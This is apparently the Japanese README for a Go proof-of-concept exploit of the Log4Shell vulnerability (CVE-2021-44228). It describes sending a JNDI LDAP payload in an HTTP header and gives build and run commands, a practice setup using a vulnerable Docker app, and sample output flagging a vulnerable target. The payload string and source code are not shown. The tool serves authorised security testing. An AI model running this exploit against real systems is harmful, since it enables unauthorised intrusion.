
Goで書かれたシンプルなLog4j PoC
⚠️ 免責事項:
このツールは教育目的、セキュリティ研究、および管理されたテスト環境のみを対象としています。
明示的な許可なくシステムに対して使用することは違法であり、その責任はすべて利用者にあります。
このプロジェクトには、Apache Log4j2(CVE-2021-44228)の脆弱性に対するシンプルな概念実証(PoC)エクスプロイトが含まれています。
PoCは、JNDI LDAPペイロードを含む特別に細工されたHTTPヘッダーをターゲットに送信します。
ターゲットが脆弱な場合、指定されたLHOSTアドレスにコールバックを送信します。
go build -o exploit exploit.go
sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>
-r → ターゲットURL(脆弱なアプリケーションのエンドポイント)-l → コールバックリスナーのIPアドレス(PoCを実行するマシン)提供されているDocker脆弱性アプリを使用する場合:
# 脆弱性アプリを実行
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app
# エクスプロイトを実行
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1
期待される出力:
[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE